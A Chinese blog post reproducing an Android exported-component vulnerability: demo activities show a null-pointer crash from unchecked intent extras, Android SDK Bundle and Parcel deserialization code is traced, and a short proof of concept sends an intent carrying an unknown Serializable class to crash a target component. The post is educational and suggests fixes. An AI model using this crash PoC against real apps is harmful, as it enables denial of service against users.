APP-SECURITY-404 组件导出漏洞复现
一.概述
组件就不多介绍了,安卓的四大组件:activity,service,broadcastReciver,ContentProvider
导出: 其他的应用或组件通过发送intent对象的方式调用其他组件。
intent是一种消息传递对象,intent的基本知识放个博客链接:
https://blog.csdn.net/salary/article/details/82865454
这个漏洞的主要原理还是在于对intent对象的处理没有添加异常事件所导致。
二.漏洞复现
二.1 简单类型
先写了两个activity,其中一个activity通过发送intent对象方式来启动另一个activity,并把数据存在了intent对象中,一起发送过去。
第一个activity
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
//传输数据给Activity
intent.putExtra("str1","i am str1");
startActivity(intent);
}
}
第二个activity
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle;
import android.widget.Toast; public class Activity1 extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_1);
Intent intent=getIntent();
String str1=intent.getStringExtra("str1");
Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
}
}
这里其实很简单,就是主活动通过发送包含数据的intent方式调用另一个活动组件,另一个活动通过getStringExtr方法来将数据取出来,再生成一个消息提示框,将取出来的字符串拼接好,放入对话框中
那么假设,我把第一个存数据的代码注释掉,会发生什么呢
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
//传输数据给Activity
//intent.putExtra("str1","i am str1");
startActivity(intent);
}
}
第二个活动的代码不变,这时候运行一下我们的app。

发现虽然没有这key-value存在,但是似乎自动生成了个key-value,不过value默认是null。这里没啥问题,但如果我的
第二个活动代码是这样写的话
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle;
import android.widget.Toast; public class Activity1 extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_1);
Intent intent=getIntent();
String str1=intent.getStringExtra("str1");
if(str1.equals("i am str1"))
{
Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
} }
}
这里有点意思是equals方法,这个方法是继承父类object类的,也就意味着只有对象才能引用这个对象
然后这里有可能出现str1为null的情况,String str1其实是引用,赋值给null是没毛病的,只是这里出问题
应该是程序员的忽视了,这里的修改意见应该是先判断是否为null,如果是null就没必要比较了,因为不可能
相等的,null和对象相等不存在好吧,如果不是null,那值得一比,不过第一个比较是用==,因为不是比字符串
的值了,没必要用equals,也不可能用。
这里运行一下,肯定会出现空指针异常,这里可以查下崩溃日志
点击android studio左下角的按钮就可以查看崩溃日志

这里报的是空指针异常,达到目的了,一是没有预防,二是没有去处理这个异常,添加try/catch是个不错的方式

二.2 复杂类型的组件导出
之前那种简单的组件导出基本上不会出现了,不过还有一种更复杂一些的,前面算是程序员粗心导致的,后面这种是算是逻辑错误
这里聚集在获取intent中数据的方法getStringExtra这里,这个地方要去看sdk的源码,因为我是mac,command+鼠标单击就会自动
跳转到这个对应方法的源码,不过一开始我sdk版本设置的过高,30的安卓10的版本直接裂开,根本没有源码,我就去改了build.gradle里面的
sdk版本号,然后同步了一下,没想到成功了,改成了29之后,本来下sdk时,就直接把源码也下载下来,这下就可以看源码了。

这里先看getStringExtra的源码
public @Nullable String getStringExtra(String name) {
return mExtras == null ? null : mExtras.getString(name);
}
private Bundle mExtras;
这个mExtras的类型是Bundle,这里的再跟着mExtras.getString的方法看看,发现是在BaseBundle类中找到的这个方法,应该是它父类的方法
@Nullable
public String getString(@Nullable String key) {
unparcel();
final Object o = mMap.get(key);
try {
return (String) o;
} catch (ClassCastException e) {
typeWarning(key, o, "String", e);
return null;
}
}
unparcel是反序列化方法,跟进去一波。
@UnsupportedAppUsage
/* package */ void unparcel() {
synchronized (this) {
final Parcel source = mParcelledData;
if (source != null) {
initializeFromParcelLocked(source, /*recycleParcel=*/ true, mParcelledByNative);
} else {
if (DEBUG) {
Log.d(TAG, "unparcel "
+ Integer.toHexString(System.identityHashCode(this))
+ ": no parcelled data");
}
}
}
} private void initializeFromParcelLocked(@NonNull Parcel parcelledData, boolean recycleParcel,
boolean parcelledByNative) {
if (LOG_DEFUSABLE && sShouldDefuse && (mFlags & FLAG_DEFUSABLE) == 0) {
Slog.wtf(TAG, "Attempting to unparcel a Bundle while in transit; this may "
+ "clobber all data inside!", new Throwable());
} if (isEmptyParcel(parcelledData)) {
if (DEBUG) {
Log.d(TAG, "unparcel "
+ Integer.toHexString(System.identityHashCode(this)) + ": empty");
}
if (mMap == null) {
mMap = new ArrayMap<>(1);
} else {
mMap.erase();
}
mParcelledData = null;
mParcelledByNative = false;
return;
} final int count = parcelledData.readInt();
if (DEBUG) {
Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
+ ": reading " + count + " maps");
}
if (count < 0) {
return;
}
ArrayMap<String, Object> map = mMap;
if (map == null) {
map = new ArrayMap<>(count);
} else {
map.erase();
map.ensureCapacity(count);
}
try {
if (parcelledByNative) {
// If it was parcelled by native code, then the array map keys aren't sorted
// by their hash codes, so use the safe (slow) one.
parcelledData.readArrayMapSafelyInternal(map, count, mClassLoader);
} else {
// If parcelled by Java, we know the contents are sorted properly,
// so we can use ArrayMap.append().
parcelledData.readArrayMapInternal(map, count, mClassLoader);
}
} catch (BadParcelableException e) {
if (sShouldDefuse) {
Log.w(TAG, "Failed to parse Bundle, but defusing quietly", e);
map.erase();
} else {
throw e;
}
} finally {
mMap = map;
if (recycleParcel) {
recycleParcel(parcelledData);
}
mParcelledData = null;
mParcelledByNative = false;
}
if (DEBUG) {
Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
+ " final map: " + mMap);
}
}
这里不知道为啥我跟不进这个函数,裂开,parcel这个类,是一个共享内存,将序列化数据存进去,同时也可以通过parcel对象
将对象反序列化取出来,这里大概知道intent发送数据,是先将key -value的值序列化存进parcel,然后其他组件再通过parcel
对象通过类加载器和类名,解析反序列化出相对应的对象出来,存进map中。
---以下源码源自王师傅
/* package */ void readArrayMapInternal(ArrayMap outVal, int N,
ClassLoader loader) {
if (DEBUG_ARRAY_MAP) {
RuntimeException here = new RuntimeException("here");
here.fillInStackTrace();
Log.d(TAG, "Reading " + N + " ArrayMap entries", here);
}
int startPos;
while (N > 0) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
String key = readString();
Object value = readValue(loader);
if (DEBUG_ARRAY_MAP) Log.d(TAG, " Read #" + (N-1) + " "
+ (dataPosition()-startPos) + " bytes: key=0x"
+ Integer.toHexString((key != null ? key.hashCode() : 0)) + " " + key);
outVal.append(key, value);
N--;
}
outVal.validate();
}
再跟readValue方法
public final Object readValue(ClassLoader loader) {
int type = readInt();
switch (type) {
case VAL_NULL:
return null;
case VAL_STRING:
return readString();
case VAL_INTEGER:
return readInt();
......
case VAL_SERIALIZABLE:
return readSerializable(loader);
......
default:
int off = dataPosition() - 4;
throw new RuntimeException(
"Parcel " + this + ": Unmarshalling unknown type code " + type + " at offset " + off);
}
}
这个readSerializable方法有点意思,其实就是反序列化把对象取出来
再跟进去看看
private final Serializable readSerializable(final ClassLoader loader) {
String name = readString();
if (name == null) {
// For some reason we were unable to read the name of the Serializable (either there
// is nothing left in the Parcel to read, or the next value wasn't a String), so
// return null, which indicates that the name wasn't found in the parcel.
return null;
}
byte[] serializedData = createByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
try {
ObjectInputStream ois = new ObjectInputStream(bais) {
@Override
protected Class<?> resolveClass(ObjectStreamClass osClass)
throws IOException, ClassNotFoundException {
// try the custom classloader if provided
if (loader != null) {
Class<?> c = Class.forName(osClass.getName(), false, loader);
if (c != null) {
return c;
}
}
return super.resolveClass(osClass);
}
};
return (Serializable) ois.readObject();
} catch (IOException ioe) {
throw new RuntimeException("Parcelable encountered " +
"IOException reading a Serializable object (name = " + name +
")", ioe);
} catch (ClassNotFoundException cnfe) {
throw new RuntimeException("Parcelable encountered " +
"ClassNotFoundException reading a Serializable object (name = "
+ name + ")", cnfe);
}
}
发现就是查找反序化类,然后反序列化对象出来,如果没有找到反序列化的类,就会抛出异常,这里就是突破口
假设传入的序列化的类找不到,而且并没有用try/catch来处理异常,那么就会崩溃。
poc 贴下王师傅的
public class MainActivity extends Activity {
private static final String TAG = "MainActivity";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Intent intent = new Intent();
intent.setComponent(new ComponentName(target_package_name, target_component_name));
intent.putExtra("serializable_key", new DataSchema());
startActivity(intent);
} catch (Exception e) {
e.printStackTrace();
}
}
}
class DataSchema implements Serializable {
private static final long serialVersionUID = -1L;
}
APP-SECURITY-404 组件导出漏洞复现的更多相关文章
- Weblogic WLS-WebServices组件反序列化漏洞复现
漏洞分析: 当weblogic使用WLS-WebServices组件时,该组件会调用XMLDecoder解析XML数据,由此就产生了该漏洞 影响版本: weblogic<10.3.6版本 复现过 ...
- uniapp解决测评有组件导出风险,解决APP反编译,回编译后app无法打开的问题
1.APP反编译 使用hbx云打包,打包出apk 拿到apk后,先下载反编译工具 https://pan.baidu.com/s/1A5D8x_pdSELlHYl-Wl6Xnw 提取码 6vzd 使用 ...
- struts2漏洞复现分析合集
struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
- struts2(s2-052)远程命令执行漏洞复现
漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...
- Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现
Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现 一.漏洞概述 WebLogic的 WLS Security组件对外提供webservic ...
- nginx解析漏洞复现
nginx解析漏洞复现 一.漏洞描述 该漏洞与nginx.php版本无关,属于用户配置不当造成的解析漏洞 二.漏洞原理 1. 由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件 ...
- Weblogic-SSRF 漏洞复现
0x01 环境搭建 我这里使用的是vulhub,它几乎包含了所有的漏洞环境.(建议安装在ubuntu上) 有需要的小伙伴来企鹅群自取. 安装好vulhub之后需要cd 到weblogic ssrf 目 ...
- 【漏洞复现】S2-052 (CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
随机推荐
- ArcGIS10从入门到精通系列实验图文教程(附配套实验数据持续更新)
@ 目录 1. 专栏简介 2. 专栏地址 3. 专栏目录 1. 专栏简介 本教程<ArcGIS从入门到精通系列实验教程>内容包括:ArcGIS平台简介.ArcGIS应用基础.空间数据的采集 ...
- String 是一个奇怪的引用类型
开局两张图,内容全靠刷! 马甲哥看到这样的现象,一开始还是有点懵逼. 这个例子,string是纯粹的引用类型,但是在函数传值时类似于值传递: 我之前给前后示例的内存变化图吧: 根因就是大多数高级语言都 ...
- Log4j实战,依赖分析
背景 在项目中经常被log4j的各种依赖冲突搞的焦头烂额,久病成良医啊,在这里记录一下我对log4j的理解与分析 log4j 与 log4j2 log4j2是log4j的升级版,二者互不兼容,据说lo ...
- node.js学习(4)事件
1 导入事件库
- Python+Selenium学习笔记17 - HTML测试报告
运行少量case时 1 # coding = utf-8 2 3 from selenium import webdriver 4 import unittest 5 import time 6 fr ...
- ADAS超声波雷达
ADAS超声波雷达 在倒车入库,慢慢挪动车子的过程中,在驾驶室内能听到"滴滴滴"的声音,这些声音就是根据超声波雷达的检测距离给司机的反馈信息. 倒车雷达系统,英文全称为REVERS ...
- 微信架构 & 支付架构(下)
微信架构 & 支付架构(下) 3. 管理网络请求 首先看看原来 iOS 处理支付网络请求的缺陷: 原来支付的请求,都是通过一个单例网络中心去发起请求,然后收到回包后,通过抛通知,或者调用闭包的 ...
- 用NVIDIA Tensor Cores和TensorFlow 2加速医学图像分割
用NVIDIA Tensor Cores和TensorFlow 2加速医学图像分割 Accelerating Medical Image Segmentation with NVIDIA Tensor ...
- Xshell6会话管理器无意中关闭,在哪里打开
一.进入查看 二.勾选则弹出,然后双击窗口即可
- jvm调优的几种场景
假定你已经了解了运行时的数据区域和常用的垃圾回收算法,也了解了Hotspot支持的垃圾回收器. 一.cpu占用过高 cpu占用过高要分情况讨论,是不是业务上在搞活动,突然有大批的流量进来,而且活动结束 ...